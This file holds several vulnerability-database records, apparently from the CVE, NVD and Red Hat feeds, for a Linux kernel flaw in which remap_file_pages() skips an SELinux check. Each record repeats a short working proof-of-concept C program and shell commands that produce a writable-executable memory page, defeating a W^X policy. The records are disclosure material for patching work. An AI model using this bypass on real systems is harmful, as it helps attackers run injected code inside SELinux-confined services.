CVE-2024-47745

{"dataType": "CVE_RECORD", "dataVersion": "5.2", "cveMetadata": {"cveId": "CVE-2024-47745", "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "state": "PUBLISHED", "assignerShortName": "Linux", "dateReserved": "2024-09-30T16:00:12.960Z", "datePublished": "2024-10-21T12:14:12.488Z", "dateUpdated": "2026-08-05T11:39:53.925Z"}, "containers": {"cna": {"providerMetadata": {"orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "shortName": "Linux", "dateUpdated": "2026-08-05T11:39:53.925Z"}, "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm: call the security_mmap_file() LSM hook in remap_file_pages()\n\nThe remap_file_pages syscall handler calls do_mmap() directly, which\ndoesn't contain the LSM security check. And if the process has called\npersonality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for\nRW pages, this will actually result in remapping the pages to RWX,\nbypassing a W^X policy enforced by SELinux.\n\nSo we should check prot by security_mmap_file LSM hook in the\nremap_file_pages syscall handler before do_mmap() is called. Otherwise, it\npotentially permits an attacker to bypass a W^X policy enforced by\nSELinux.\n\nThe bypass is similar to CVE-2016-10044, which bypass the same thing via\nAIO and can be found in [1].\n\nThe PoC:\n\n$ cat > test.c\n\nint main(void) {\n\tsize_t pagesz = sysconf(_SC_PAGE_SIZE);\n\tint mfd = syscall(SYS_memfd_create, \"test\", 0);\n\tconst char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE,\n\t\tMAP_SHARED, mfd, 0);\n\tunsigned int old = syscall(SYS_personality, 0xffffffff);\n\tsyscall(SYS_personality, READ_IMPLIES_EXEC | old);\n\tsyscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0);\n\tsyscall(SYS_personality, old);\n\t// show the RWX page exists even if W^X policy is enforced\n\tint fd = open(\"/proc/self/maps\", O_RDONLY);\n\tunsigned char buf2[1024];\n\twhile (1) {\n\t\tint ret = read(fd, buf2, 1024);\n\t\tif (ret <= 0) break;\n\t\twrite(1, buf2, ret);\n\t}\n\tclose(fd);\n}\n\n$ gcc test.c -o test\n$ ./test | grep rwx\n7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)\n\n[PM: subject line tweaks]"}], "metrics": [{"cvssV3_1": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH"}, "scenarios": [{"lang": "en", "value": "AV:L - The bypass is performed entirely through local syscalls (`memfd_create`/`mmap`/`personality`/`remap_file_pages`) operating on the calling task's own `mm_struct`. There is no network- or adjacent-reachable path into `SYSCALL_DEFINE5(remap_file_pages)`.\nAC:L - The commit's PoC is fully deterministic \u2014 no race, no heap grooming, no memory-layout dependency \u2014 and the attacker controls every input. SELinux in enforcing mode with a W^X policy is the default on Android, RHEL/CentOS and Fedora, so the required configuration is common rather than rare.\nPR:L - Any unprivileged local process can do this: `personality()` in `kernel/exec_domain.c:38` performs no capability check, and `remap_file_pages` has no privilege gate whatsoever. No user namespace trick is even needed.\nUI:N - The attacking process performs the entire sequence against its own address space in one self-contained program. No victim action, file open, or mount is required.\nS:U - The vulnerable code and the impacted resource are both governed by the kernel's own security authority, and the resulting RWX mapping lives in the attacker's own address space. This is a MAC-policy/mitigation bypass, not a VM, IOMMU, or hypervisor boundary crossing.\nC:H - Defeating W^X lets an attacker inject and run arbitrary code inside an SELinux-confined domain, which yields unrestricted read of all data and credentials that domain can reach (e.g. a confined network daemon's keys or an Android system service's data). The skipped hook also drops the `file { read/write/map }` re-validation entirely.\nI:H - The whole purpose of the SELinux `execmem`/`file execute` checks is to stop a memory-write primitive from becoming code execution; bypassing them gives the attacker arbitrary code execution in the confined domain and full modification of anything it controls. This is the same integrity impact as the analogous AIO W^X bypass, CVE-2016-10044.\nA:H - Arbitrary code execution inside a confined domain lets the attacker fully disrupt or terminate the affected service, and the mitigation bypass is the enabling step that completes exploit chains whose payloads can crash or hang the system. Following the higher-severity convention where the ceiling of the bypass is complete compromise of the confined component."}]}], "affected": [{"product": "Linux", "vendor": "Linux", "defaultStatus": "unaffected", "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git", "programFiles": ["mm/mmap.c"], "versions": [{"version": "c8d78c1823f46519473949d33f0d1d33fe21ea16", "lessThan": "0f910dbf2f2a4a7820ba4bac7b280f7108aa05b1", "status": "affected", "versionType": "git"}, {"version": "c8d78c1823f46519473949d33f0d1d33fe21ea16", "lessThan": "49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178", "status": "affected", "versionType": "git"}, {"version": "c8d78c1823f46519473949d33f0d1d33fe21ea16", "lessThan": "3393fddbfa947c8e1fdcc4509226905ffffd8b89", "status": "affected", "versionType": "git"}, {"version": "c8d78c1823f46519473949d33f0d1d33fe21ea16", "lessThan": "ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3", "status": "affected", "versionType": "git"}, {"version": "c8d78c1823f46519473949d33f0d1d33fe21ea16", "lessThan": "ea7e2d5e49c05e5db1922387b09ca74aa40f46e2", "status": "affected", "versionType": "git"}, {"version": "097f98edde717ce09f217d8a285fe357dcd29fd1", "status": "affected", "versionType": "git"}, {"version": "3.16.59", "lessThan": "3.17", "status": "affected", "versionType": "semver"}]}, {"product": "Linux", "vendor": "Linux", "defaultStatus": "affected", "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git", "programFiles": ["mm/mmap.c"], "versions": [{"version": "4.0", "status": "affected"}, {"version": "0", "lessThan": "4.0", "status": "unaffected", "versionType": "semver"}, {"version": "6.1.120", "lessThanOrEqual": "6.1.*", "status": "unaffected", "versionType": "semver"}, {"version": "6.6.54", "lessThanOrEqual": "6.6.*", "status": "unaffected", "versionType": "semver"}, {"version": "6.10.13", "lessThanOrEqual": "6.10.*", "status": "unaffected", "versionType": "semver"}, {"version": "6.11.2", "lessThanOrEqual": "6.11.*", "status": "unaffected", "versionType": "semver"}, {"version": "6.12", "lessThanOrEqual": "*", "status": "unaffected", "versionType": "original_commit_for_fix"}]}], "cpeApplicability": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0", "versionEndExcluding": "6.1.120"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0", "versionEndExcluding": "6.6.54"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0", "versionEndExcluding": "6.10.13"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0", "versionEndExcluding": "6.11.2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0", "versionEndExcluding": "6.12"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.16.59"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/0f910dbf2f2a4a7820ba4bac7b280f7108aa05b1"}, {"url": "https://git.kernel.org/stable/c/49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178"}, {"url": "https://git.kernel.org/stable/c/3393fddbfa947c8e1fdcc4509226905ffffd8b89"}, {"url": "https://git.kernel.org/stable/c/ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3"}, {"url": "https://git.kernel.org/stable/c/ea7e2d5e49c05e5db1922387b09ca74aa40f46e2"}], "title": "mm: call the security_mmap_file() LSM hook in remap_file_pages()", "x_generator": {"engine": "bippy-1.2.0"}}, "adp": [{"metrics": [{"other": {"type": "ssvc", "content": {"id": "CVE-2024-47745", "role": "CISA Coordinator", "options": [{"Exploitation": "none"}, {"Automatable": "no"}, {"Technical Impact": "partial"}], "version": "2.0.3", "timestamp": "2024-10-21T12:58:41.257228Z"}}}], "title": "CISA ADP Vulnrichment", "providerMetadata": {"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "shortName": "CISA-ADP", "dateUpdated": "2024-10-21T13:04:13.918Z"}}, {"title": "CVE Program Container", "references": [{"url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00001.html"}], "providerMetadata": {"orgId": "af854a3a-2127-422b-91ae-364da2661108", "shortName": "CVE", "dateUpdated": "2025-11-03T20:40:38.700Z"}}]}}

{"dataType": "CVE_RECORD", "containers": {"adp": [{"title": "CVE Program Container", "references": [{"url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00001.html"}], "providerMetadata": {"orgId": "af854a3a-2127-422b-91ae-364da2661108", "shortName": "CVE", "dateUpdated": "2025-11-03T20:40:38.700Z"}}, {"title": "CISA ADP Vulnrichment", "metrics": [{"other": {"type": "ssvc", "content": {"id": "CVE-2024-47745", "role": "CISA Coordinator", "options": [{"Exploitation": "none"}, {"Automatable": "no"}, {"Technical Impact": "partial"}], "version": "2.0.3", "timestamp": "2024-10-21T12:58:41.257228Z"}}}], "providerMetadata": {"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "shortName": "CISA-ADP", "dateUpdated": "2024-10-21T12:58:44.380Z"}}], "cna": {"title": "mm: call the security_mmap_file() LSM hook in remap_file_pages()", "metrics": [{"cvssV3_1": {"version": "3.1", "baseScore": 7.8, "baseSeverity": "HIGH", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}, "scenarios": [{"lang": "en", "value": "AV:L - The bypass is performed entirely through local syscalls (`memfd_create`/`mmap`/`personality`/`remap_file_pages`) operating on the calling task's own `mm_struct`. There is no network- or adjacent-reachable path into `SYSCALL_DEFINE5(remap_file_pages)`.\nAC:L - The commit's PoC is fully deterministic \u2014 no race, no heap grooming, no memory-layout dependency \u2014 and the attacker controls every input. SELinux in enforcing mode with a W^X policy is the default on Android, RHEL/CentOS and Fedora, so the required configuration is common rather than rare.\nPR:L - Any unprivileged local process can do this: `personality()` in `kernel/exec_domain.c:38` performs no capability check, and `remap_file_pages` has no privilege gate whatsoever. No user namespace trick is even needed.\nUI:N - The attacking process performs the entire sequence against its own address space in one self-contained program. No victim action, file open, or mount is required.\nS:U - The vulnerable code and the impacted resource are both governed by the kernel's own security authority, and the resulting RWX mapping lives in the attacker's own address space. This is a MAC-policy/mitigation bypass, not a VM, IOMMU, or hypervisor boundary crossing.\nC:H - Defeating W^X lets an attacker inject and run arbitrary code inside an SELinux-confined domain, which yields unrestricted read of all data and credentials that domain can reach (e.g. a confined network daemon's keys or an Android system service's data). The skipped hook also drops the `file { read/write/map }` re-validation entirely.\nI:H - The whole purpose of the SELinux `execmem`/`file execute` checks is to stop a memory-write primitive from becoming code execution; bypassing them gives the attacker arbitrary code execution in the confined domain and full modification of anything it controls. This is the same integrity impact as the analogous AIO W^X bypass, CVE-2016-10044.\nA:H - Arbitrary code execution inside a confined domain lets the attacker fully disrupt or terminate the affected service, and the mitigation bypass is the enabling step that completes exploit chains whose payloads can crash or hang the system. Following the higher-severity convention where the ceiling of the bypass is complete compromise of the confined component."}]}], "affected": [{"repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git", "vendor": "Linux", "product": "Linux", "versions": [{"status": "affected", "version": "c8d78c1823f46519473949d33f0d1d33fe21ea16", "lessThan": "0f910dbf2f2a4a7820ba4bac7b280f7108aa05b1", "versionType": "git"}, {"status": "affected", "version": "c8d78c1823f46519473949d33f0d1d33fe21ea16", "lessThan": "49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178", "versionType": "git"}, {"status": "affected", "version": "c8d78c1823f46519473949d33f0d1d33fe21ea16", "lessThan": "3393fddbfa947c8e1fdcc4509226905ffffd8b89", "versionType": "git"}, {"status": "affected", "version": "c8d78c1823f46519473949d33f0d1d33fe21ea16", "lessThan": "ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3", "versionType": "git"}, {"status": "affected", "version": "c8d78c1823f46519473949d33f0d1d33fe21ea16", "lessThan": "ea7e2d5e49c05e5db1922387b09ca74aa40f46e2", "versionType": "git"}, {"status": "affected", "version": "097f98edde717ce09f217d8a285fe357dcd29fd1", "versionType": "git"}, {"status": "affected", "version": "3.16.59", "lessThan": "3.17", "versionType": "semver"}], "programFiles": ["mm/mmap.c"], "defaultStatus": "unaffected"}, {"repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git", "vendor": "Linux", "product": "Linux", "versions": [{"status": "affected", "version": "4.0"}, {"status": "unaffected", "version": "0", "lessThan": "4.0", "versionType": "semver"}, {"status": "unaffected", "version": "6.1.120", "versionType": "semver", "lessThanOrEqual": "6.1.*"}, {"status": "unaffected", "version": "6.6.54", "versionType": "semver", "lessThanOrEqual": "6.6.*"}, {"status": "unaffected", "version": "6.10.13", "versionType": "semver", "lessThanOrEqual": "6.10.*"}, {"status": "unaffected", "version": "6.11.2", "versionType": "semver", "lessThanOrEqual": "6.11.*"}, {"status": "unaffected", "version": "6.12", "versionType": "original_commit_for_fix", "lessThanOrEqual": "*"}], "programFiles": ["mm/mmap.c"], "defaultStatus": "affected"}], "references": [{"url": "https://git.kernel.org/stable/c/0f910dbf2f2a4a7820ba4bac7b280f7108aa05b1"}, {"url": "https://git.kernel.org/stable/c/49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178"}, {"url": "https://git.kernel.org/stable/c/3393fddbfa947c8e1fdcc4509226905ffffd8b89"}, {"url": "https://git.kernel.org/stable/c/ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3"}, {"url": "https://git.kernel.org/stable/c/ea7e2d5e49c05e5db1922387b09ca74aa40f46e2"}], "x_generator": {"engine": "bippy-1.2.0"}, "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm: call the security_mmap_file() LSM hook in remap_file_pages()\n\nThe remap_file_pages syscall handler calls do_mmap() directly, which\ndoesn't contain the LSM security check. And if the process has called\npersonality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for\nRW pages, this will actually result in remapping the pages to RWX,\nbypassing a W^X policy enforced by SELinux.\n\nSo we should check prot by security_mmap_file LSM hook in the\nremap_file_pages syscall handler before do_mmap() is called. Otherwise, it\npotentially permits an attacker to bypass a W^X policy enforced by\nSELinux.\n\nThe bypass is similar to CVE-2016-10044, which bypass the same thing via\nAIO and can be found in [1].\n\nThe PoC:\n\n$ cat > test.c\n\nint main(void) {\n\tsize_t pagesz = sysconf(_SC_PAGE_SIZE);\n\tint mfd = syscall(SYS_memfd_create, \"test\", 0);\n\tconst char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE,\n\t\tMAP_SHARED, mfd, 0);\n\tunsigned int old = syscall(SYS_personality, 0xffffffff);\n\tsyscall(SYS_personality, READ_IMPLIES_EXEC | old);\n\tsyscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0);\n\tsyscall(SYS_personality, old);\n\t// show the RWX page exists even if W^X policy is enforced\n\tint fd = open(\"/proc/self/maps\", O_RDONLY);\n\tunsigned char buf2[1024];\n\twhile (1) {\n\t\tint ret = read(fd, buf2, 1024);\n\t\tif (ret <= 0) break;\n\t\twrite(1, buf2, ret);\n\t}\n\tclose(fd);\n}\n\n$ gcc test.c -o test\n$ ./test | grep rwx\n7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)\n\n[PM: subject line tweaks]"}], "cpeApplicability": [{"nodes": [{"negate": false, "cpeMatch": [{"criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "vulnerable": true, "versionEndExcluding": "6.1.120", "versionStartIncluding": "4.0"}, {"criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "vulnerable": true, "versionEndExcluding": "6.6.54", "versionStartIncluding": "4.0"}, {"criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "vulnerable": true, "versionEndExcluding": "6.10.13", "versionStartIncluding": "4.0"}, {"criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "vulnerable": true, "versionEndExcluding": "6.11.2", "versionStartIncluding": "4.0"}, {"criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "vulnerable": true, "versionEndExcluding": "6.12", "versionStartIncluding": "4.0"}, {"criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "vulnerable": true, "versionStartIncluding": "3.16.59"}], "operator": "OR"}]}], "providerMetadata": {"orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "shortName": "Linux", "dateUpdated": "2026-08-05T11:39:53.925Z"}}}, "cveMetadata": {"cveId": "CVE-2024-47745", "state": "PUBLISHED", "dateUpdated": "2026-08-05T11:39:53.925Z", "dateReserved": "2024-09-30T16:00:12.960Z", "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "datePublished": "2024-10-21T12:14:12.488Z", "assignerShortName": "Linux"}, "dataVersion": "5.2"}

{"affected": [{"affectedData": [{"defaultStatus": "unaffected", "product": "Linux", "programFiles": ["mm/mmap.c"], "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git", "vendor": "Linux", "versions": [{"lessThan": "0f910dbf2f2a4a7820ba4bac7b280f7108aa05b1", "status": "affected", "version": "c8d78c1823f46519473949d33f0d1d33fe21ea16", "versionType": "git"}, {"lessThan": "49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178", "status": "affected", "version": "c8d78c1823f46519473949d33f0d1d33fe21ea16", "versionType": "git"}, {"lessThan": "3393fddbfa947c8e1fdcc4509226905ffffd8b89", "status": "affected", "version": "c8d78c1823f46519473949d33f0d1d33fe21ea16", "versionType": "git"}, {"lessThan": "ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3", "status": "affected", "version": "c8d78c1823f46519473949d33f0d1d33fe21ea16", "versionType": "git"}, {"lessThan": "ea7e2d5e49c05e5db1922387b09ca74aa40f46e2", "status": "affected", "version": "c8d78c1823f46519473949d33f0d1d33fe21ea16", "versionType": "git"}, {"status": "affected", "version": "097f98edde717ce09f217d8a285fe357dcd29fd1", "versionType": "git"}, {"lessThan": "3.17", "status": "affected", "version": "3.16.59", "versionType": "semver"}]}, {"defaultStatus": "affected", "product": "Linux", "programFiles": ["mm/mmap.c"], "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git", "vendor": "Linux", "versions": [{"status": "affected", "version": "4.0"}, {"lessThan": "4.0", "status": "unaffected", "version": "0", "versionType": "semver"}, {"lessThanOrEqual": "6.1.*", "status": "unaffected", "version": "6.1.120", "versionType": "semver"}, {"lessThanOrEqual": "6.6.*", "status": "unaffected", "version": "6.6.54", "versionType": "semver"}, {"lessThanOrEqual": "6.10.*", "status": "unaffected", "version": "6.10.13", "versionType": "semver"}, {"lessThanOrEqual": "6.11.*", "status": "unaffected", "version": "6.11.2", "versionType": "semver"}, {"lessThanOrEqual": "*", "status": "unaffected", "version": "6.12", "versionType": "original_commit_for_fix"}]}], "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}], "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*", "matchCriteriaId": "FA6FEEC2-9F11-4643-8827-749718254FED", "vulnerable": true}], "negate": false, "operator": "OR"}]}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "matchCriteriaId": "9B0FAB02-E16A-4263-9895-889F5A3200D5", "versionEndExcluding": "6.1.120", "vulnerable": true}, {"criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "matchCriteriaId": "D448821D-C085-4CAF-88FA-2DDE7BE21976", "versionEndExcluding": "6.6.54", "versionStartIncluding": "6.2", "vulnerable": true}, {"criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "matchCriteriaId": "CE94BB8D-B0AB-4563-9ED7-A12122B56EBE", "versionEndExcluding": "6.10.13", "versionStartIncluding": "6.7", "vulnerable": true}, {"criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "matchCriteriaId": "AB755D26-97F4-43B6-8604-CD076811E181", "versionEndExcluding": "6.11.2", "versionStartIncluding": "6.11", "vulnerable": true}], "negate": false, "operator": "OR"}]}], "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmm: call the security_mmap_file() LSM hook in remap_file_pages()\n\nThe remap_file_pages syscall handler calls do_mmap() directly, which\ndoesn't contain the LSM security check. And if the process has called\npersonality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for\nRW pages, this will actually result in remapping the pages to RWX,\nbypassing a W^X policy enforced by SELinux.\n\nSo we should check prot by security_mmap_file LSM hook in the\nremap_file_pages syscall handler before do_mmap() is called. Otherwise, it\npotentially permits an attacker to bypass a W^X policy enforced by\nSELinux.\n\nThe bypass is similar to CVE-2016-10044, which bypass the same thing via\nAIO and can be found in [1].\n\nThe PoC:\n\n$ cat > test.c\n\nint main(void) {\n\tsize_t pagesz = sysconf(_SC_PAGE_SIZE);\n\tint mfd = syscall(SYS_memfd_create, \"test\", 0);\n\tconst char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE,\n\t\tMAP_SHARED, mfd, 0);\n\tunsigned int old = syscall(SYS_personality, 0xffffffff);\n\tsyscall(SYS_personality, READ_IMPLIES_EXEC | old);\n\tsyscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0);\n\tsyscall(SYS_personality, old);\n\t// show the RWX page exists even if W^X policy is enforced\n\tint fd = open(\"/proc/self/maps\", O_RDONLY);\n\tunsigned char buf2[1024];\n\twhile (1) {\n\t\tint ret = read(fd, buf2, 1024);\n\t\tif (ret <= 0) break;\n\t\twrite(1, buf2, ret);\n\t}\n\tclose(fd);\n}\n\n$ gcc test.c -o test\n$ ./test | grep rwx\n7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)\n\n[PM: subject line tweaks]"}, {"lang": "es", "value": "En el kernel de Linux, se ha resuelto la siguiente vulnerabilidad: mm: llamar al gancho LSM security_mmap_file() en remap_file_pages() El controlador de llamadas al sistema remap_file_pages llama a do_mmap() directamente, que no contiene la comprobaci\u00f3n de seguridad LSM. Y si el proceso ha llamado a personality(READ_IMPLIES_EXEC) antes y se llama a remap_file_pages() para p\u00e1ginas RW, esto realmente dar\u00e1 como resultado la reasignaci\u00f3n de las p\u00e1ginas a RWX, omitiendo una pol\u00edtica W^X aplicada por SELinux. Por lo tanto, deber\u00edamos comprobar prot mediante el gancho LSM security_mmap_file en el controlador de llamadas al sistema remap_file_pages antes de que se llame a do_mmap(). De lo contrario, potencialmente permite que un atacante omita una pol\u00edtica W^X aplicada por SELinux. La omisi\u00f3n es similar a CVE-2016-10044, que omite lo mismo a trav\u00e9s de AIO y se puede encontrar en [1]. La PoC: $ cat &gt; test.c int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, \"test\", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); unsigned int old = syscall(SYS_personality, 0xffffffff); syscall(SYS_personality, READ_IMPLIES_EXEC | old); syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); syscall(SYS_personality, old); // muestra que la p\u00e1gina RWX existe incluso si se aplica la pol\u00edtica W^X int fd = open(\"/proc/self/maps\", O_RDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret &lt;= 0) break; write(1, buf2, ret); } close(fd); } $ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (eliminado) [MP: ajustes en la l\u00ednea de asunto]"}], "id": "CVE-2024-47745", "lastModified": "2026-08-04T11:20:47.560", "metrics": {"cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 1.8, "impactScore": 5.9, "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 1.8, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary"}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"id": "CVE-2024-47745", "options": [{"exploitation": "none"}, {"automatable": "no"}, {"technicalImpact": "partial"}], "role": "CISA Coordinator", "timestamp": "2024-10-21T12:58:41.257228Z", "version": "2.0.3"}}]}, "published": "2024-10-21T13:15:04.580", "references": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"], "url": "https://git.kernel.org/stable/c/0f910dbf2f2a4a7820ba4bac7b280f7108aa05b1"}, {"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"], "url": "https://git.kernel.org/stable/c/3393fddbfa947c8e1fdcc4509226905ffffd8b89"}, {"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"], "url": "https://git.kernel.org/stable/c/49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178"}, {"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"], "url": "https://git.kernel.org/stable/c/ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3"}, {"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"], "url": "https://git.kernel.org/stable/c/ea7e2d5e49c05e5db1922387b09ca74aa40f46e2"}, {"source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"], "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00001.html"}], "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "vulnStatus": "Modified", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-670"}], "source": "nvd@nist.gov", "type": "Primary"}]}

{"affected_release": [{"advisory": "RHSA-2025:6966", "cpe": "cpe:/a:redhat:enterprise_linux:9", "package": "kernel-0:5.14.0-570.12.1.el9_6", "product_name": "Red Hat Enterprise Linux 9", "release_date": "2025-05-13T00:00:00Z"}, {"advisory": "RHSA-2025:6966", "cpe": "cpe:/o:redhat:enterprise_linux:9", "package": "kernel-0:5.14.0-570.12.1.el9_6", "product_name": "Red Hat Enterprise Linux 9", "release_date": "2025-05-13T00:00:00Z"}, {"advisory": "RHSA-2025:7683", "cpe": "cpe:/a:redhat:rhel_eus:9.2", "package": "kernel-0:5.14.0-284.117.1.el9_2", "product_name": "Red Hat Enterprise Linux 9.2 Extended Update Support", "release_date": "2025-05-15T00:00:00Z"}, {"advisory": "RHSA-2025:7676", "cpe": "cpe:/a:redhat:rhel_eus:9.2::nfv", "package": "kernel-rt-0:5.14.0-284.117.1.rt14.402.el9_2", "product_name": "Red Hat Enterprise Linux 9.2 Extended Update Support", "release_date": "2025-05-15T00:00:00Z"}, {"advisory": "RHSA-2025:4509", "cpe": "cpe:/a:redhat:rhel_eus:9.4", "package": "kernel-0:5.14.0-427.67.1.el9_4", "product_name": "Red Hat Enterprise Linux 9.4 Extended Update Support", "release_date": "2025-05-06T00:00:00Z"}], "bugzilla": {"description": "kernel: mm: call the security_mmap_file() LSM hook in remap_file_pages()", "id": "2320248", "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2320248"}, "csaw": false, "cvss3": {"cvss3_base_score": "4.7", "cvss3_scoring_vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N", "status": "verified"}, "cwe": "CWE-670", "details": ["In the Linux kernel, the following vulnerability has been resolved:\nmm: call the security_mmap_file() LSM hook in remap_file_pages()\nThe remap_file_pages syscall handler calls do_mmap() directly, which\ndoesn't contain the LSM security check. And if the process has called\npersonality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for\nRW pages, this will actually result in remapping the pages to RWX,\nbypassing a W^X policy enforced by SELinux.\nSo we should check prot by security_mmap_file LSM hook in the\nremap_file_pages syscall handler before do_mmap() is called. Otherwise, it\npotentially permits an attacker to bypass a W^X policy enforced by\nSELinux.\nThe bypass is similar to CVE-2016-10044, which bypass the same thing via\nAIO and can be found in [1].\nThe PoC:\n$ cat > test.c\nint main(void) {\nsize_t pagesz = sysconf(_SC_PAGE_SIZE);\nint mfd = syscall(SYS_memfd_create, \"test\", 0);\nconst char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE,\nMAP_SHARED, mfd, 0);\nunsigned int old = syscall(SYS_personality, 0xffffffff);\nsyscall(SYS_personality, READ_IMPLIES_EXEC | old);\nsyscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 